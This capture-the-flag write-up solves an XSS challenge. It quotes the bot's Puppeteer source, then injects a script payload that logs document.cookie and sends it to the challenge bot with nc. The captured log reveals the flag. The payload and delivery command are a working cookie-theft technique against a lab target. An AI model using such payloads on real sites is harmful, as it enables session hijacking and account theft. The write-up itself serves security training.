Clobbered or not clobbered, that's the question :)
See here: http://65.109.209.215:5000, the bot port is 4000!
Please download the attachment
Thanks to kevin-mizu as author! 😊
The attachment contains two parts, the first is a web server that renders html. The second is a bot that scrapes the web server with flag stored in cookie:
// Force puppeteer to store everything to /tmp/
process.env.HOME = "/tmp";
const { delay, handleTargetCreated, handleTargetDestroyed, logMainInfo, logMainError } = require("./utils");
const puppeteer = require("puppeteer");
// Banner
const tips = ["Every console.log usage on the bot will be sent back to you :)", "There is a small race window (~10ms) when a new tab is opened where console.log won't return output :("];
console.log(`==========\nTips: ${tips[Math.floor(Math.random() * tips.length)]}\n==========`);
// Spawn the bot and navigate to the user provided link.
async function goto(html) {
logMainInfo("Starting the browser...");
const browser = await puppeteer.launch({
headless: "new",
ignoreHTTPSErrors: true,
args: [
"--no-sandbox",
"--disable-gpu",
"--disable-jit",
"--disable-wasm",
"--disable-dev-shm-usage",
],
executablePath: "/usr/bin/chromium-browser"
});
// Hook tabs events
browser.on("targetcreated", handleTargetCreated.bind(browser));
browser.on("targetdestroyed", handleTargetDestroyed.bind(browser));
/* ** CHALLENGE LOGIC ** */
const [page] = await browser.pages(); // Reuse the page created by the browser.
await handleTargetCreated(page.target()); // Since it was created before the event listener was set, we need to hook it up manually.
await page.setDefaultNavigationTimeout(5000);
logMainInfo("Going to the app...");
await browser.setCookie({
name: "flag",
value: process.env.FLAG,
domain: "under-the-beamers-app.internal:5000",
path: "/",
httpOnly: false
});
logMainInfo("Going to the user provided link...");
try { await page.goto(`http://under-the-beamers-app.internal:5000/?html=${encodeURIComponent(html)}`) } catch {}
await delay(2000);
logMainInfo("Leaving o/");
await browser.close();
return;
}
// Handle TCP data
process.stdin.on("data", (data) => {
const html = data.toString().trim();
if (!html || html.length > 500) {
logMainError("You provided an invalid HTML. It should be a non empty string with a length of less than 500 characters.");
process.exit(1);
}
goto(html)
.then(() => process.exit(0))
.catch((error) => {
if (process.env.ENVIRONMENT === "development") {
console.error(error);
}
process.exit(1);
});
});
Inspired by https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-xss-in-codebeamer-alm-solution-by-ptc/, we can inject arbitrary script into the rendered HTML:
<html><script>alert("abc");</script></html>
Visit http://65.109.209.215:5000/ and write the html above in the text area, and you will see the popup.
Then, we ask the bot to print out the cookie for us:
$ echo '<html><script>console.log(document.cookie);</script></html>' | nc 65.109.209.215 4000
==========
Tips: Every console.log usage on the bot will be sent back to you :)
==========
Starting the browser...
[T1]> New tab created!
[T1]> navigating | about:blank
Going to the app...
Going to the user provided link...
[T1]> navigating | http://under-the-beamers-app.internal:5000/?html=%3Chtml%3E%3Cscript%3Econsole.log(document.cookie)%3B%3C%2Fscript%3E%3C%2Fhtml%3E
[T1]> console.log | flag=ASIS{cfa4807db22fc60758d32ed0950a40e397c8f9c6a11ae89e8235d034f37f3987}
[T1]> console.error | Failed to load resource: the server responded with a status of 404 (NOT FOUND)
[T1]> console.log | Initializing Beamer. [Update and engage users effortlessly - https://getbeamer.com]
[T1]> console.error | Failed to load resource: the server responded with a status of 404 (NOT FOUND)
Flag: ASIS{cfa4807db22fc60758d32ed0950a40e397c8f9c6a11ae89e8235d034f37f3987}
.